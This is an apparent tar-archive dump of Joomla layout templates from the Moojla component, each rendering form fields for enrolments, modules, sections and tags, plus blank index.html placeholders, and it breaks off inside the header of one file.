0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'jid',
	'enrolldate'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/index.html000064400000000054151165724400012250
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/enrolment/publishing.php000064400000004357151165724400013142
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/enrolment/publlshing.php000064400000004344151165724400013141
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/index.html000064400000000054151165724400010245
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/module/details_left.php000064400000004450151165724400012711
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'module_section_id',
	'module_id',
	'visible',
	'uservisible',
	'name',
	'modname',
	'url',
	'description',
	'modicon'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/module/index.html000064400000000054151165724400011532
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/module/publishing.php000064400000004357151165724400012424
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/module/publlshing.php000064400000004344151165724400012423
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/section/details_left.php000064400000004374151165724400013075
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'courseid',
	'section_id',
	'name',
	'visible',
	'uservisible',
	'summary'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/section/index.html000064400000000054151165724400011711
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/section/publishing.php000064400000004357151165724400012603
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/section/publlshing.php000064400000004344151165724400012602
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/details_left.php000064400000004310151165724400012172
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'tagid',
	'isstandard'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/details_right.php000064400000004305151165724400012361
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'tagname',
	'tags'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/index.html000064400000000054151165724400011020
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>layouts/tag/publishing.php000064400000004357151165724400011712
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publishing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'title',
	'created',
	'created_by',
	'modified',
	'modified_by'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag/publlshing.php000064400000004357151165724400011715
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		publlshing.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'published',
	'ordering',
	'access',
	'version',
	'hits',
	'id'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/details_left.php000064400000004275151165724400014070
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_left.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// get the form
$form = $displayData->getForm();

// get the layout fields override method name (from layout path/ID)
$layout_path_array = explode('.', $this->getLayoutId());
// Since we cannot pass the layout and tab names as parameters to the model
method
// this name combination of tab and layout in the method name is the only
work around
// seeing that JCB uses those two values (tab_name & layout_name) as
the layout file name.
// example of layout name: details_left.php
// example of method name: getFields_details_left()
$fields_tab_layout = 'fields_' . $layout_path_array[1];

// get the fields
$fields = $displayData->get($fields_tab_layout) ?: array(
	'moodletag'
);

$hiddenFields = $displayData->get('hidden_fields') ?: array();

?>
<?php if ($fields && count((array) $fields)) :?>
<?php foreach($fields as $field): ?>
	<?php if (in_array($field, $hiddenFields)) : ?>
		<?php $form->setFieldAttribute($field, 'type',
'hidden'); ?>
	<?php endif; ?>
	<?php echo $form->renderField($field, null, null,
array('class' => 'control-wrapper-' . $field));
?>
<?php endforeach; ?>
<?php endif; ?>
layouts/tag_instance/details_right.php000064400000004301151165724400014241
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		details_right.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
